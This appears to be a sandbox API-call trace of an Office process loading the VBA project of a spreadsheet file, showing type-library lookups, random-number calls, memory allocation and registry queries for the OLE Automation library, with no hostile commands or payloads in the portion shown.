	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1
	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07
	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78
	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3
	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad
	[0050.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae
	[0050.112] IMalloc:Free (This=0x7feffc15380, pv=0xbacf100) 
	[0050.112] IMalloc:Free (This=0x7feffc15380, pv=0xbacf0f0) 
	[0050.112] CoCreateGuid (in: pguid=0x26f848 | out: pguid=0x26f848*(Data1=0x6eb78056, Data2=0xa397, Data3=0x40c9, Data4=([0]=0x9c, [1]=0x40, [2]=0xc0, [3]=0x29, [4]=0x27, [5]=0x5b, [6]=0x79, [7]=0x6b))) returned 0x0
	[0050.112] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b0) returned 0xbc37ac0
	[0050.113] srand (_Seed=0x5196) 
	[0050.113] rand () returned 2707
	[0050.113] rand () returned 5367
	[0050.113] rand () returned 3107
	[0050.113] rand () returned 25991
	[0050.113] rand () returned 22224
	[0050.113] rand () returned 7173
	[0050.113] rand () returned 3305
	[0050.113] rand () returned 5542
	[0050.113] rand () returned 21093
	[0050.113] rand () returned 7093
	[0050.113] rand () returned 29645
	[0050.113] rand () returned 30555
	[0050.113] rand () returned 4452
	[0050.113] rand () returned 15519
	[0050.113] rand () returned 22682
	[0050.113] rand () returned 20118
	[0050.113] rand () returned 26125
	[0050.113] rand () returned 28117
	[0050.113] rand () returned 31912
	[0050.113] rand () returned 27549
	[0050.113] rand () returned 25247
	[0050.113] rand () returned 12135
	[0050.113] rand () returned 31572
	[0050.113] rand () returned 27055
	[0050.113] rand () returned 11630
	[0050.114] rand () returned 26157
	[0050.114] rand () returned 24237
	[0050.114] rand () returned 16615
	[0050.114] rand () returned 23350
	[0050.114] rand () returned 7360
	[0050.114] rand () returned 27760
	[0050.114] rand () returned 12132
	[0050.114] rand () returned 17327
	[0050.114] rand () returned 21962
	[0050.114] rand () returned 16183
	[0050.114] rand () returned 15783
	[0050.114] rand () returned 1121
	[0050.114] rand () returned 21376
	[0050.114] rand () returned 32749
	[0050.114] rand () returned 25148
	[0050.114] rand () returned 9658
	[0050.114] rand () returned 30828
	[0050.114] rand () returned 21381
	[0050.114] rand () returned 2205
	[0050.114] rand () returned 5726
	[0050.114] rand () returned 9584
	[0050.114] rand () returned 20715
	[0050.114] rand () returned 32595
	[0050.114] rand () returned 28862
	[0050.114] rand () returned 14600
	[0050.114] rand () returned 4923
	[0050.114] rand () returned 4446
	[0050.114] rand () returned 16108
	[0050.114] rand () returned 5071
	[0050.114] rand () returned 15410
	[0050.114] rand () returned 20183
	[0050.114] rand () returned 12462
	[0050.114] rand () returned 17989
	[0050.114] rand () returned 31458
	[0050.114] rand () returned 18644
	[0050.114] rand () returned 30673
	[0050.114] rand () returned 19407
	[0050.114] rand () returned 27305
	[0050.114] rand () returned 17548
	[0050.114] rand () returned 16063
	[0050.114] rand () returned 30463
	[0050.114] rand () returned 24163
	[0050.114] rand () returned 10684
	[0050.114] rand () returned 27988
	[0050.114] rand () returned 29462
	[0050.115] rand () returned 27615
	[0050.115] rand () returned 12361
	[0050.115] rand () returned 12270
	[0050.115] rand () returned 32455
	[0050.115] rand () returned 19344
	[0050.115] rand () returned 4390
	[0050.115] rand () returned 29891
	[0050.115] rand () returned 17470
	[0050.115] rand () returned 24709
	[0050.115] rand () returned 15992
	[0050.115] rand () returned 21368
	[0050.115] rand () returned 29281
	[0050.115] rand () returned 31899
	[0050.115] rand () returned 26360
	[0050.115] rand () returned 4847
	[0050.115] rand () returned 31574
	[0050.115] rand () returned 13554
	[0050.115] rand () returned 18585
	[0050.115] rand () returned 16736
	[0050.115] rand () returned 7237
	[0050.115] rand () returned 23197
	[0050.115] rand () returned 5740
	[0050.115] rand () returned 4779
	[0050.115] rand () returned 4703
	[0050.115] rand () returned 27550
	[0050.115] rand () returned 30144
	[0050.115] rand () returned 30956
	[0050.115] rand () returned 8479
	[0050.115] rand () returned 4113
	[0050.115] rand () returned 22157
	[0050.115] rand () returned 11088
	[0050.115] rand () returned 19919
	[0050.115] rand () returned 30631
	[0050.115] rand () returned 11027
	[0050.115] rand () returned 3880
	[0050.115] rand () returned 29775
	[0050.115] rand () returned 11094
	[0050.115] rand () returned 17086
	[0050.115] rand () returned 14140
	[0050.115] rand () returned 6418
	[0050.115] rand () returned 10063
	[0050.115] rand () returned 19533
	[0050.115] rand () returned 28002
	[0050.115] rand () returned 7273
	[0050.115] rand () returned 20785
	[0050.116] rand () returned 17203
	[0050.116] rand () returned 31311
	[0050.116] rand () returned 13060
	[0050.116] rand () returned 7804
	[0050.116] rand () returned 19517
	[0050.116] rand () returned 8108
	[0050.116] rand () returned 18357
	[0050.116] rand () returned 32584
	[0050.116] rand () returned 17782
	[0050.116] rand () returned 30829
	[0050.116] rand () returned 10872
	[0050.116] rand () returned 24887
	[0050.116] rand () returned 3400
	[0050.116] rand () returned 13150
	[0050.116] rand () returned 12465
	[0050.116] rand () returned 24232
	[0050.116] rand () returned 17635
	[0050.116] rand () returned 23550
	[0050.116] rand () returned 10932
	[0050.116] rand () returned 28205
	[0050.116] rand () returned 4579
	[0050.116] rand () returned 9617
	[0050.116] rand () returned 21130
	[0050.116] rand () returned 9792
	[0050.116] rand () returned 9004
	[0050.116] rand () returned 27761
	[0050.116] rand () returned 6131
	[0050.116] rand () returned 26929
	[0050.116] rand () returned 32025
	[0050.116] rand () returned 24997
	[0050.116] rand () returned 28071
	[0050.116] rand () returned 3427
	[0050.116] rand () returned 20695
	[0050.116] rand () returned 5300
	[0050.116] rand () returned 31713
	[0050.116] rand () returned 21944
	[0050.116] rand () returned 25355
	[0050.116] rand () returned 20411
	[0050.116] rand () returned 23582
	[0050.116] rand () returned 20042
	[0050.116] rand () returned 17851
	[0050.116] rand () returned 31166
	[0050.117] rand () returned 16930
	[0050.117] rand () returned 24924
	[0050.117] rand () returned 26987
	[0050.117] rand () returned 29500
	[0050.117] rand () returned 13885
	[0050.117] rand () returned 14480
	[0050.117] rand () returned 18822
	[0050.117] rand () returned 8454
	[0050.117] rand () returned 17612
	[0050.117] rand () returned 15962
	[0050.117] rand () returned 14336
	[0050.117] rand () returned 6481
	[0050.117] rand () returned 18178
	[0050.117] rand () returned 21428
	[0050.117] rand () returned 3130
	[0050.117] rand () returned 9993
	[0050.117] rand () returned 10473
	[0050.117] rand () returned 3603
	[0050.117] rand () returned 14630
	[0050.117] rand () returned 5992
	[0050.117] rand () returned 20643
	[0050.117] rand () returned 4506
	[0050.117] rand () returned 3755
	[0050.117] rand () returned 1480
	[0050.117] rand () returned 2806
	[0050.117] rand () returned 23438
	[0050.117] rand () returned 10827
	[0050.117] rand () returned 6581
	[0050.117] rand () returned 8456
	[0050.117] rand () returned 4363
	[0050.117] rand () returned 23299
	[0050.117] rand () returned 27463
	[0050.117] rand () returned 31590
	[0050.117] rand () returned 9717
	[0050.117] rand () returned 31858
	[0050.117] rand () returned 430
	[0050.117] rand () returned 30283
	[0050.118] rand () returned 28720
	[0050.118] rand () returned 3390
	[0050.118] rand () returned 8207
	[0050.118] rand () returned 19232
	[0050.118] rand () returned 31508
	[0050.118] rand () returned 1204
	[0050.118] rand () returned 21647
	[0050.118] rand () returned 13119
	[0050.118] rand () returned 12059
	[0050.118] rand () returned 11182
	[0050.118] rand () returned 32173
	[0050.118] rand () returned 10236
	[0050.118] rand () returned 8669
	[0050.118] rand () returned 31930
	[0050.118] rand () returned 14804
	[0050.118] rand () returned 25574
	[0050.118] rand () returned 8767
	[0050.118] rand () returned 20344
	[0050.118] rand () returned 30000
	[0050.118] rand () returned 2378
	[0050.118] rand () returned 21735
	[0050.118] rand () returned 21316
	[0050.118] rand () returned 2498
	[0050.118] rand () returned 4601
	[0050.118] rand () returned 29939
	[0050.118] rand () returned 7445
	[0050.118] rand () returned 9647
	[0050.118] rand () returned 27723
	[0050.118] rand () returned 3306
	[0050.118] rand () returned 19621
	[0050.118] rand () returned 27614
	[0050.118] rand () returned 26980
	[0050.118] rand () returned 15346
	[0050.118] rand () returned 3283
	[0050.118] rand () returned 705
	[0050.118] rand () returned 24758
	[0050.118] rand () returned 23364
	[0050.118] rand () returned 29509
	[0050.118] rand () returned 1395
	[0050.118] rand () returned 11463
	[0050.118] rand () returned 6110
	[0050.119] rand () returned 849
	[0050.119] rand () returned 2820
	[0050.119] rand () returned 25909
	[0050.119] rand () returned 21623
	[0050.119] rand () returned 22558
	[0050.119] rand () returned 14353
	[0050.119] rand () returned 31223
	[0050.119] rand () returned 26552
	[0050.119] rand () returned 14854
	[0050.119] rand () returned 3735
	[0050.119] rand () returned 5093
	[0050.119] rand () returned 2729
	[0050.119] rand () returned 9023
	[0050.119] rand () returned 28680
	[0050.119] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x0) returned 0xbacf0f0
	[0050.119] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbb675d0
	[0050.119] strcpy_s (in: _Dst=0xb9a9dd8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0
	[0050.119] CExposedStream::Read () returned 0x0
	[0050.120] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xbc38180
	[0050.120] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xbc3a1b0
	[0050.121] CExposedStream::AddRef () returned 0x2
	[0050.121] CExposedStream::Release () returned 0x1
	[0050.121] CExposedStream::Read () returned 0x0
	[0050.121] CExposedStream::Read () returned 0x0
	[0050.124] GetProcAddress (hModule=0x7fee5ac0000, lpProcName=0x7fee61221d0) returned 0x0
	[0050.125] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2
	[0050.125] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x26f844, cbMultiByte=2, lpWideCharStr=0x26f858, cchWideChar=2 | out: lpWideCharStr="") returned 2
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26f7d0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11
	[0050.125] lstrcmpiA (lpString1="", lpString2="VBAProject") returned -1
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x26f6d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11
	[0050.125] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26f5e0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11
	[0050.125] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26f5e0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11
	[0050.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x26f4a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11
	[0050.125] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0050.125] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0050.125] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb709b0
	[0050.126] IMalloc:Free (This=0x7feffc15380, pv=0x75e5370) 
	[0050.126] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x75e5370
	[0050.126] IMalloc:Realloc (This=0x7feffc15380, pv=0x75e5370, cb=0x44) returned 0x77025a0
	[0050.126] IMalloc:Free (This=0x7feffc15380, pv=0xbb709b0) 
	[0050.126] strcpy_s (in: _Dst=0xb9a9de8, _DstSize=0xb, _Src="VBAProject" | out: _Dst="VBAProject") returned 0x0
	[0050.129] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x26f7e0 | out: pclsid=0x26f7e0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0050.130] wcsncpy_s (in: _Destination=0xba9e168, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0
	[0050.130] wcscpy_s (in: _Destination=0xba9e1c8, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0
	[0050.130] wcscpy_s (in: _Destination=0xba9e206, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0
	[0050.130] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6988f0, cb=0x680) returned 0xb6d6cd0
	[0050.130] wcscpy_s (in: _Destination=0xb6d6f90, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.130] wcsncpy_s (in: _Destination=0x26f430, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.130] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e
	[0050.130] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xba4ba60
	[0050.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xba4ba60, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95
	[0050.130] IMalloc:Free (This=0x7feffc15380, pv=0xba4ba60) 
	[0050.130] wcscpy_s (in: _Destination=0xbb674d8, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.130] wcsncpy_s (in: _Destination=0x26f470, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.130] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e
	[0050.130] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xba4ba60
	[0050.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xba4ba60, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95
	[0050.131] IMalloc:Free (This=0x7feffc15380, pv=0xba4ba60) 
	[0050.131] wcsncpy_s (in: _Destination=0x26f430, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.131] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26f360, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.131] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x26f710, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
	[0050.131] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093
	[0050.131] strcpy_s (in: _Dst=0x26f4f0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0
	[0050.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f4f0, cbMultiByte=7, lpWideCharStr=0x26f340, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7
	[0050.131] IUnknown:AddRef (This=0xb9fd070) returned 0x3
	[0050.131] ITypeLib:RemoteIsName (in: This=0xb9fd070, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.131] IUnknown:Release (This=0xb9fd070) returned 0x2
	[0050.131] IUnknown:AddRef (This=0xb9fc260) returned 0x2
	[0050.131] ITypeLib:RemoteIsName (in: This=0xb9fc260, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.131] IUnknown:Release (This=0xb9fc260) returned 0x1
	[0050.131] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x7383170
	[0050.131] wcscpy_s (in: _Destination=0xba9e168, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.131] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26eaf0 | out: phkResult=0x26eaf0*=0xa6a) returned 0x0
	[0050.132] RegOpenKeyW (in: hKey=0xa6a, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x26eae8 | out: phkResult=0x26eae8*=0xa5a) returned 0x0
	[0050.132] RegEnumKeyW (in: hKey=0xa5a, dwIndex=0x0, lpName=0x26eb18, cchName=0xa | out: lpName="1.0") returned 0x0
	[0050.132] RegEnumKeyW (in: hKey=0xa5a, dwIndex=0x1, lpName=0x26eb18, cchName=0xa | out: lpName="2.0") returned 0x0
	[0050.132] wcscpy_s (in: _Destination=0x26eb00, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0
	[0050.132] RegOpenKeyW (in: hKey=0xa5a, lpSubKey="2.0", phkResult=0x26eba8 | out: phkResult=0x26eba8*=0xa6e) returned 0x0
	[0050.133] _ultoa_s (in: _Val=0x0, _DstBuf=0x26eb20, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0
	[0050.133] RegOpenKeyA (in: hKey=0xa6e, lpSubKey="0", phkResult=0x26eb10 | out: phkResult=0x26eb10*=0xa66) returned 0x0
	[0050.133] RegOpenKeyW (in: hKey=0xa66, lpSubKey="win64", phkResult=0x26eb18 | out: phkResult=0x26eb18*=0xcfa) returned 0x0
	[0050.133] RegCloseKey (hKey=0xcfa) returned 0x0
	[0050.133] RegCloseKey (hKey=0xa66) returned 0x0
	[0050.133] _ultow_s (in: _Value=0x0, _Buffer=0x26ebb0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.133] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="0", phkResult=0x26eb88 | out: phkResult=0x26eb88*=0xa66) returned 0x0
	[0050.134] RegQueryValueW (in: hKey=0xa66, lpSubKey="win64", lpData=0x26ebd0, lpcbData=0x26eb84 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x26eb84) returned 0x0
	[0050.134] wcscpy_s (in: _Destination=0x7383170, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0
	[0050.134] RegCloseKey (hKey=0xa66) returned 0x0
	[0050.134] RegCloseKey (hKey=0xa6e) returned 0x0
	[0050.134] RegCloseKey (hKey=0xa5a) returned 0x0
	[0050.134] RegCloseKey (hKey=0xa6a) returned 0x0
	[0050.135] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x26f1f8*=0x0 | out: pptlib=0x26f1f8*=0xb9fd610) returned 0x0
	[0050.135] IUnknown:QueryInterface (in: This=0xb9fd610, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26eff8 | out: ppvObject=0x26eff8*=0x0) returned 0x80004002
	[0050.135] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd610, ppTLibAttr=0x26eff0, pDummy=0x10 | out: ppTLibAttr=0x26eff0, pDummy=0x10) returned 0x0
	[0050.135] ITypeLib:RemoteGetDocumentation (in: This=0xb9fd610, index=-1, refPtrFlags=0x0, pbstrName=0x26efe8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba9e1c6 | out: pbstrName=0x26efe8*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba9e1c6) returned 0x0
	[0050.135] StringFromGUID2 (in: rguid=0xb881ca0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f010, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39
	[0050.135] _ultow_s (in: _Value=0x2, _Buffer=0x26ef5a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0
	[0050.135] _ultow_s (in: _Value=0x0, _Buffer=0x26ef5e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.135] _ultow_s (in: _Value=0x0, _Buffer=0x26ef62, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.135] wcscpy_s (in: _Destination=0xba9e248, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0050.135] wcscpy_s (in: _Destination=0xba9e24e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0
	[0050.135] wcscpy_s (in: _Destination=0xba9e29a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0
	[0050.135] wcscpy_s (in: _Destination=0xba9e2a8, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0
	[0050.136] wcscpy_s (in: _Destination=0xba9e2e8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0
	[0050.136] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd610) returned 0x0
	[0050.136] wcscpy_s (in: _Destination=0x7383170, _SizeInWords=0x104, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.136] wcscpy_s (in: _Destination=0xb6d7050, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0
	[0050.136] IMalloc:Free (This=0x7feffc15380, pv=0x7383170) 
	[0050.136] IUnknown:AddRef (This=0xb9fd610) returned 0x4
	[0050.136] IUnknown:QueryInterface (in: This=0xb9fd610, riid=0x7fee61085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f258 | out: ppvObject=0x26f258*=0x0) returned 0x80004002
	[0050.136] ITypeLib:RemoteIsName (in: This=0xb9fd610, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.136] IUnknown:Release (This=0xb9fd610) returned 0x3
	[0050.136] IMalloc:Alloc (This=0x7feffc15380, cb=0x24) returned 0xb879900
	[0050.136] IMalloc:Free (This=0x7feffc15380, pv=0x77025a0) 
	[0050.136] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8797b0
	[0050.136] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8797b0, cb=0x50) returned 0xb8aba50
	[0050.136] IMalloc:Free (This=0x7feffc15380, pv=0xb879900) 
	[0050.136] IMalloc:Alloc (This=0x7feffc15380, cb=0x9a) returned 0xb813ff0
	[0050.137] IMalloc:Free (This=0x7feffc15380, pv=0xb813ff0) 
	[0050.137] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x26f7e0 | out: pclsid=0x26f7e0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0
	[0050.137] IMalloc:Alloc (This=0x7feffc15380, cb=0x8c) returned 0xb9756e0
	[0050.137] _ultow_s (in: _Value=0x2, _Buffer=0x26f66a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0
	[0050.137] _ultow_s (in: _Value=0x8, _Buffer=0x26f66e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0
